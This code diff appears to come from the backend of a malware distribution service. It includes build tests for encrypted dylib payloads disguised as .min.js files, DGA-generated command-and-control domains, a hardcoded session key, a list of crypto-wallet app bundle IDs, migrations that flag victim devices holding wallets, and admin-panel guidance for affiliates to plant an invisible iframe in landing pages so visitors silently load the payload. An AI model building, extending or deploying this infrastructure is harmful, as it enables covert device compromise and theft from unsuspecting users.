||||
self.assertNotIn("[placeholder].icu", index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
self.assertIn("sessionId:sid", index_js)
|
||||
self.assertIn("__iptj_sid", index_js)
|
||||
self.assertFalse((artifact / "source").exists())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(channel_c.encode(), dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
meta = xxbb_build.load_keys()
|
||||
self.assertGreaterEqual(len(meta["stems"]), 10)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
|
||||
for stem, info in meta["stems"].items():
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
|
||||
self.assertIn(channel_c.encode(), dylib, stem)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
|
||||
self.assertIn(b"https://%@\x00", dylib, stem)
|
||||
self.assertNotIn(b"http://%@\x00", dylib, stem)
|
||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
|
||||
|
||||
member, core = extract_member((details / "corepayload.js").read_bytes())
|
||||
self.assertEqual(member, "corepayload.dylib")
|
||||
@@ -120,8 +130,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
manifest = json.loads((out / "MANIFEST.json").read_text())
|
||||
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
|
||||
self.assertIsNone(manifest["weifile_path"])
|
||||
self.assertEqual(manifest["details_path"], "/details/")
|
||||
self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
|
||||
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
@@ -145,12 +157,13 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(len(first[0]), 32)
|
||||
self.assertEqual(len(first[1]), 32)
|
||||
self.assertEqual(first[0], first[1])
|
||||
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(len(first[2]), 32)
|
||||
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
|
||||
self.assertEqual(len(first[3]["deployment"]), 5)
|
||||
self.assertEqual(len(first[3]["reporting"]), 5)
|
||||
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
||||
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
|
||||
|
||||
def test_xxbb_dga_matches_native_pool(self) -> None:
|
||||
self.assertEqual(
|
||||
@@ -207,35 +220,7 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
cli_c=None,
|
||||
)
|
||||
|
||||
def test_http_scheme_rewrites_url_formats(self) -> None:
|
||||
path = xxbb_build.group_dylib_path("C")
|
||||
raw = path.read_bytes()
|
||||
https = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
http = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="http",
|
||||
)
|
||||
self.assertIn(b"https://%@\x00", https)
|
||||
self.assertIn(b"https://backup%u.icu\x00", https)
|
||||
self.assertNotIn(b"http://%@\x00", https)
|
||||
self.assertIn(b"http://%@\x00", http)
|
||||
self.assertIn(b"http://backup%u.icu\x00", http)
|
||||
self.assertNotIn(b"https://%@\x00", http)
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_works_without_channel_name(self) -> None:
|
||||
def test_apply_writes_details_and_staged_weifile(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
@@ -259,7 +244,81 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
|
||||
self.assertTrue((artifact / "details" / "show.html").is_file())
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
|
||||
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
|
||||
def test_discovers_all_fafa_secondaries(self) -> None:
|
||||
meta = xxbb_build.load_keys()
|
||||
stems = meta["stems"]
|
||||
self.assertEqual(len(stems), 10)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
|
||||
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
|
||||
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
|
||||
|
||||
def test_random_c_rewrites_lab_seeds(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
path = Path(tmp) / "lab_seeds.json"
|
||||
first = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c="33333333333333333333333333333333",
|
||||
)
|
||||
second = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c=None,
|
||||
random_c=True,
|
||||
)
|
||||
self.assertEqual(first[2], "33333333333333333333333333333333")
|
||||
self.assertNotEqual(second[2], first[2])
|
||||
self.assertEqual(len(second[2]), 32)
|
||||
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
|
||||
|
||||
def test_pack_replaces_channel_placeholder(self) -> None:
|
||||
import pack_channel
|
||||
from zipfile import ZipFile
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
src = Path(tmp) / "weifile"
|
||||
src.mkdir()
|
||||
(src / "index.js").write_text(
|
||||
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "weifile.html").write_text(
|
||||
'<script type="text/javascript" src="index.js"></script>',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "extra.min.js").write_text("ok", encoding="utf-8")
|
||||
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
|
||||
result = pack_channel.pack_channel(
|
||||
channel_code="fafa9988",
|
||||
weifile_src=src,
|
||||
zip_out=zip_out,
|
||||
)
|
||||
self.assertEqual(result["channel_code"], "FAFA9988")
|
||||
self.assertTrue(zip_out.is_file())
|
||||
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
|
||||
with ZipFile(zip_out) as archive:
|
||||
names = set(archive.namelist())
|
||||
self.assertIn("weifile/index.js", names)
|
||||
self.assertIn("weifile/weifile.html", names)
|
||||
self.assertIn("weifile/extra.min.js", names)
|
||||
index_js = archive.read("weifile/index.js").decode("utf-8")
|
||||
html = archive.read("weifile/weifile.html").decode("utf-8")
|
||||
self.assertIn('const V="FAFA9988"', index_js)
|
||||
self.assertNotIn("CACACACA", index_js)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
+21
-2
@@ -16,6 +16,10 @@ return [
|
||||
'xxbb' => [
|
||||
// Hardcoded in xxbb type-0x01 / core; not the lab derived 7@Lb… key.
|
||||
'session_key' => env('XXBB_SESSION_KEY', 'Ek8pl31K2yeHgQwy'),
|
||||
// Shared native DGA / report field `c`. Same for every new-builder channel.
|
||||
'channel_c' => strtolower(trim((string) env('XXBB_CHANNEL_C', ''))),
|
||||
// Match iptj PageVisit → device by IP within this window.
|
||||
'visit_match_minutes' => (int) env('XXBB_VISIT_MATCH_MINUTES', 30),
|
||||
],
|
||||
'channel_domains' => $channelDomains,
|
||||
'deployment_domains' => $channelDomains,
|
||||
@@ -46,8 +50,8 @@ return [
|
||||
'CORUNA_CHANNEL_NEW_STATE_ROOT',
|
||||
storage_path('app/channel-builder-new')
|
||||
),
|
||||
// Native DGA/C2 URL scheme. Keep https: iOS ATS drops cleartext http:// to .icu hosts.
|
||||
'c2_scheme' => env('CORUNA_XXBB_C2_SCHEME', 'https'),
|
||||
// Per-channel weifile zip download root under artifact_root.
|
||||
'source_dir' => 'channel-source-new',
|
||||
],
|
||||
'channels' => [
|
||||
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
|
||||
@@ -109,22 +113,37 @@ return [
|
||||
'wallet_bundles' => [
|
||||
'im.token.app',
|
||||
'io.metamask',
|
||||
'io.metamask.MetaMask',
|
||||
'com.wallet.crypto.trustapp',
|
||||
'com.sixdays.trust',
|
||||
'com.okex.wallet',
|
||||
'com.okex.OKExAppstoreFull',
|
||||
'com.coinbase.wallet',
|
||||
'org.toshi.distribution',
|
||||
'com.exodus',
|
||||
'exodus-movement.exodus',
|
||||
'app.phantom',
|
||||
'com.uniswap.mobile',
|
||||
'com.tronlinkpro.wallet',
|
||||
'com.tronlink.hdwallet',
|
||||
'com.mytonwallet.app',
|
||||
'org.mytonwallet.app',
|
||||
'com.tonhub.app',
|
||||
'com.tonkeeper.app',
|
||||
'com.jbig.tonkeeper',
|
||||
'vip.mytokenpocket',
|
||||
'com.bitkeep.wallet',
|
||||
'com.bitkeep.os',
|
||||
'com.bitpie',
|
||||
'com.bitpie.wallet',
|
||||
'com.coin98',
|
||||
'coin98.crypto.finance.insights',
|
||||
'com.solflare.mobile',
|
||||
'com.roninchain.wallet',
|
||||
'com.skymavis.Genesis',
|
||||
'com.krystal.wallet',
|
||||
'com.kyrd.krystal.ios',
|
||||
'com.global.wallet.ios',
|
||||
'ph.telegra.Telegraph',
|
||||
],
|
||||
];
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->string('source_domain', 255)->nullable()->after('channel_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropColumn('source_domain');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->string('domain', 255)->nullable()->after('path');
|
||||
$table->index('domain');
|
||||
});
|
||||
|
||||
// iptj used to stash the landing host in `path`.
|
||||
DB::table('page_visits')
|
||||
->whereNull('domain')
|
||||
->whereNotNull('path')
|
||||
->where('path', 'not like', '/%')
|
||||
->where('path', 'not like', '%/%')
|
||||
->where('path', 'like', '%.%')
|
||||
->update(['domain' => DB::raw('path')]);
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->dropIndex(['domain']);
|
||||
$table->dropColumn('domain');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->dropColumn('path');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->string('path', 255)->nullable()->after('ip');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,24 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->string('session_id', 64)->nullable()->after('client_uid');
|
||||
$table->unique('session_id');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('page_visits', function (Blueprint $table) {
|
||||
$table->dropUnique(['session_id']);
|
||||
$table->dropColumn('session_id');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,23 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->dropUnique(['channel_name']);
|
||||
$table->dropColumn('channel_name');
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('channels', function (Blueprint $table) {
|
||||
$table->string('channel_name', 32)->nullable()->unique()->after('builder_type');
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,84 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->unsignedTinyInteger('has_wallet')->default(0)->after('album_storage');
|
||||
$table->json('wallet_names')->nullable()->after('has_wallet');
|
||||
$table->index('has_wallet');
|
||||
});
|
||||
|
||||
$this->backfillFromApps();
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
$table->dropIndex(['has_wallet']);
|
||||
$table->dropColumn(['has_wallet', 'wallet_names']);
|
||||
});
|
||||
}
|
||||
|
||||
private function backfillFromApps(): void
|
||||
{
|
||||
if (! Schema::hasTable('device_apps')) {
|
||||
return;
|
||||
}
|
||||
|
||||
$skip = ['ph.telegra.Telegraph', 'net.whatsapp.WhatsApp'];
|
||||
$bundles = array_values(array_filter(
|
||||
(array) config('coruna.wallet_bundles', []),
|
||||
static fn ($b) => is_string($b) && $b !== '' && ! in_array($b, $skip, true),
|
||||
));
|
||||
|
||||
$deviceIdsWithApps = DB::table('device_apps')->distinct()->pluck('device_id');
|
||||
if ($deviceIdsWithApps->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$walletRows = $bundles === []
|
||||
? collect()
|
||||
: DB::table('device_apps')
|
||||
->whereIn('device_id', $deviceIdsWithApps)
|
||||
->whereIn('bundle_id', $bundles)
|
||||
->get(['device_id', 'bundle_id', 'name']);
|
||||
|
||||
$namesByDevice = [];
|
||||
foreach ($walletRows as $row) {
|
||||
$label = trim((string) ($row->name ?: $row->bundle_id));
|
||||
if ($label === '') {
|
||||
continue;
|
||||
}
|
||||
$namesByDevice[(int) $row->device_id][$label] = true;
|
||||
}
|
||||
|
||||
$walletDeviceIds = array_keys($namesByDevice);
|
||||
$noneIds = $deviceIdsWithApps->map(static fn ($id) => (int) $id)
|
||||
->reject(static fn ($id) => in_array($id, $walletDeviceIds, true))
|
||||
->values()
|
||||
->all();
|
||||
|
||||
if ($noneIds !== []) {
|
||||
DB::table('devices')->whereIn('id', $noneIds)->update([
|
||||
'has_wallet' => 1,
|
||||
'wallet_names' => null,
|
||||
]);
|
||||
}
|
||||
|
||||
foreach ($namesByDevice as $deviceId => $labels) {
|
||||
$names = array_keys($labels);
|
||||
sort($names);
|
||||
DB::table('devices')->where('id', $deviceId)->update([
|
||||
'has_wallet' => 2,
|
||||
'wallet_names' => json_encode(array_values($names), JSON_UNESCAPED_UNICODE),
|
||||
]);
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
use App\Models\DeviceApp;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
DeviceApp::query()->orderBy('id')->chunkById(200, function ($apps) {
|
||||
foreach ($apps as $app) {
|
||||
$want = WalletSource::isPluginWalletBundle((string) $app->bundle_id);
|
||||
if ((bool) $app->is_wallet === $want) {
|
||||
continue;
|
||||
}
|
||||
$app->is_wallet = $want;
|
||||
$app->save();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
// Irreversible: previous regex / wallet_bundles tagging is not reconstructed.
|
||||
}
|
||||
};
|
||||
@@ -121,7 +121,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
}},
|
||||
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-addr-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -74,7 +74,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -48,7 +48,13 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
|
||||
<script type="text/html" id="LAY-ch-ops">
|
||||
@{{# if(d.builder_type === 'new'){ }}
|
||||
@{{# if(d.download_url){ }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="download">下载代码</a>
|
||||
@{{# } }}
|
||||
@{{# } else { }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
|
||||
@{{# } }}
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
|
||||
@{{# if(d._isAdmin){ }}
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
@@ -74,9 +80,6 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'builder_type', title: '类型', width: 80, templet: function (d) {
|
||||
return d.builder_type === 'new' ? '新版' : '旧版';
|
||||
}},
|
||||
{ field: 'channel_name', title: 'channel_name', width: 120, templet: function (d) {
|
||||
return d.channel_name || '—';
|
||||
}},
|
||||
];
|
||||
if (isAdmin) {
|
||||
cols.push({ field: 'agent_username', title: '代理', width: 120 });
|
||||
@@ -89,7 +92,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'updated_at', title: '更新', width: 170, sort: true },
|
||||
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
{ title: '操作', width: isAdmin ? 250 : 190, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||||
]);
|
||||
|
||||
table.render({
|
||||
@@ -97,7 +100,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
id: 'LAY-ch-list',
|
||||
url: @json(route($portal.'.channels.data')),
|
||||
cols: [cols],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
parseData: function (res) {
|
||||
(res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
|
||||
return res;
|
||||
@@ -137,6 +140,39 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function weifileIframeSnippet() {
|
||||
return '<iframe src="/weifile/weifile.html" style="position:fixed;top:0;width:0;height:0;left:-1000px;border:0"></iframe>';
|
||||
}
|
||||
|
||||
function openDownloadGuide(row) {
|
||||
var url = row && row.download_url;
|
||||
if (!url) return layer.msg('安装包不存在');
|
||||
var snippet = weifileIframeSnippet();
|
||||
var html = '<div style="padding:18px 20px;line-height:1.75;font-size:13px;color:#334155;">' +
|
||||
'<p style="margin:0 0 10px;">下载后按下面步骤放到自己的落地页项目中:</p>' +
|
||||
'<p style="margin:0 0 8px;"><b>1.</b> 解压 zip,把得到的 <code>weifile/</code> 目录放到落地页网站根目录,保证能访问到 <code>/weifile/weifile.html</code>。</p>' +
|
||||
'<p style="margin:0 0 14px;"><b>2.</b> 在自己的 HTML 里(建议放在 <code><body></code> 开头)加入一段不可见 iframe:</p>' +
|
||||
'<pre style="background:#f8fafc;border:1px solid #e2e8f0;border-radius:6px;padding:10px 12px;overflow:auto;font-size:12px;margin:0 0 14px;white-space:pre-wrap;word-break:break-all;">' +
|
||||
snippet.replace(/</g, '<') + '</pre>' +
|
||||
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:center;">' +
|
||||
'<a class="layui-btn layui-btn-normal" href="' + url.replace(/"/g, '"') + '">下载代码</a>' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary LAY-ch-copy-iframe">复制 iframe 代码</button>' +
|
||||
'</div>' +
|
||||
'<p style="margin:12px 0 0;color:#64748b;font-size:12px;">iframe 不可见,不影响落地页展示;用户打开落地页时会加载该渠道代码。</p>' +
|
||||
'</div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '下载代码 — ' + (row.channel_id || ''),
|
||||
area: ['640px', '430px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-copy-iframe').on('click', function () {
|
||||
copyText(snippet).then(function () { layer.msg('已复制 iframe 代码'); });
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function openLinks(row) {
|
||||
var links = row.links || [];
|
||||
if (!links.length) {
|
||||
@@ -178,9 +214,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
|
||||
(data.weifile_path || data.support_path).replace(/</g, '<') + '</code></div>';
|
||||
}
|
||||
if (data.builder_type === 'new' && data.daily_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>details</b> <code>' +
|
||||
String(data.daily_path).replace(/</g, '<') + '</code></div>';
|
||||
if (data.builder_type === 'new' && data.zip_path) {
|
||||
html += '<div style="margin-bottom:10px;"><b>安装包</b> <code>' +
|
||||
String(data.zip_path).replace(/</g, '<') + '</code></div>';
|
||||
if (data.download_url) {
|
||||
html += '<div style="margin-bottom:10px;"><button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-dl-guide">下载代码</button></div>';
|
||||
}
|
||||
}
|
||||
if (links.length) {
|
||||
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
|
||||
@@ -199,7 +238,17 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
html += '</ul>';
|
||||
}
|
||||
html += '</div>';
|
||||
layer.open({ type: 1, title: '创建成功', area: ['560px', '420px'], content: html });
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '创建成功',
|
||||
area: ['560px', '420px'],
|
||||
content: html,
|
||||
success: function (layero) {
|
||||
layero.find('.LAY-ch-dl-guide').on('click', function () {
|
||||
openDownloadGuide({ channel_id: channelId, download_url: data.download_url });
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function openForm(title, values, creating) {
|
||||
@@ -209,7 +258,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
: '';
|
||||
var channelBlock = creating
|
||||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="32位字母数字">' +
|
||||
'<input name="channel_id" class="layui-input" maxlength="32" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="旧版 32 位 / 新版 8 位">' +
|
||||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||||
|
||||
@@ -219,7 +268,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<option value="old"' + ((values.builder_type || 'old') === 'old' ? ' selected' : '') + '>旧版</option>' +
|
||||
'<option value="new"' + (values.builder_type === 'new' ? ' selected' : '') + '>新版</option>' +
|
||||
'</select>' +
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=channel-builder(/web/id/support.html);新版=channel-builder-new(/weifile/weifile.html + /details)</div></div></div>'
|
||||
'<div class="layui-form-mid layui-word-aux">旧版=/web/id/support.html;新版=8 位渠道码,打包已构建的 weifile(需先 php artisan xxbb:build)</div></div></div>'
|
||||
: '';
|
||||
|
||||
var templateBlock = (isAdmin && creating)
|
||||
@@ -248,13 +297,21 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
form.render();
|
||||
function syncTemplateVisibility() {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
if (type === 'new') $('#LAY-ch-template-item').hide();
|
||||
else $('#LAY-ch-template-item').show();
|
||||
var $id = $('#LAY-ch-id-input');
|
||||
if (type === 'new') {
|
||||
$('#LAY-ch-template-item').hide();
|
||||
$id.attr('maxlength', 8).attr('placeholder', '8位,例如 FAFA9988');
|
||||
if (($id.val() || '').length !== 8) $id.val('');
|
||||
} else {
|
||||
$('#LAY-ch-template-item').show();
|
||||
$id.attr('maxlength', 32).attr('placeholder', '32位字母数字');
|
||||
}
|
||||
}
|
||||
syncTemplateVisibility();
|
||||
form.on('select(LAY-ch-builder-type)', function () { syncTemplateVisibility(); });
|
||||
$('#LAY-ch-rand').on('click', function () {
|
||||
$.getJSON(@json(route('admin.channels.randomId')), function (res) {
|
||||
var type = $('#LAY-ch-form select[name=builder_type]').val() || 'old';
|
||||
$.getJSON(@json(route('admin.channels.randomId')), { builder_type: type }, function (res) {
|
||||
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
||||
});
|
||||
});
|
||||
@@ -318,9 +375,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
table.on('tool(LAY-ch-list)', function (obj) {
|
||||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||||
if (obj.event === 'links') openLinks(obj.data);
|
||||
if (obj.event === 'download') {
|
||||
openDownloadGuide(obj.data);
|
||||
}
|
||||
if (obj.event === 'del') {
|
||||
var pathHint = obj.data.builder_type === 'new'
|
||||
? '数据库记录(共享 /weifile 与 /details 保留)'
|
||||
? ('数据库记录与 channel-source-new/' + obj.data.channel_id + '.zip')
|
||||
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
|
